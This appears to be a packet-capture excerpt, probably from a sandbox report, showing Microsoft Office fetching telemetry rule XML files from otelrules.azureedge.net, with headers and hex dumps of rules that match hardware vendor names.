Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:09 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:09 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 30601852-401e-0047-7476-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201209Z-174c587ffdfldtt2hC1TEBwv9c000000034g00000000qzrv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:09 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:09 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:09 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201209Z-174c587ffdfl22mzhC1TEBk40c00000003m00000000081he x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:09 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:11 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:11 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201211Z-174c587ffdf8fcgwhC1TEBnn7000000003g000000000kfc5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:11 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:11 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:11 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201211Z-174c587ffdf8lw6dhC1TEBkgs800000003g0000000002844 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:11 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:11 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201211Z-178bfbc474bvjk8shC1NYC83ns00000004s000000000df0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:11 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:11 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: d1e74057-c01e-0014-6563-3ba6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201211Z-178bfbc474bq2pr7hC1NYCkfgg000000053g0000000089pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:12 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:11 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:11 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201211Z-178bfbc474bh5zbqhC1NYCkdug00000004v000000000d360 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:12 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:13 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201214Z-174c587ffdfgcs66hC1TEB69cs00000003c0000000000tw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:13 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201214Z-174c587ffdfldtt2hC1TEBwv9c000000035000000000p6bz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:14 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:13 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:14 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201214Z-178bfbc474bp8mkvhC1NYCzqnn00000004wg000000000xgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:14 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:13 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:14 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 3c827ba2-d01e-0014-367c-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201214Z-178bfbc474bwlrhlhC1NYCy3kg00000004ug00000000pwfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:14 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:12:13 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:12:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:12:14 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: df770720-601e-0002-4a47-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201214Z-178bfbc474b9fdhphC1NYCac0n00000004xg0000000063pd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:12:14 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O 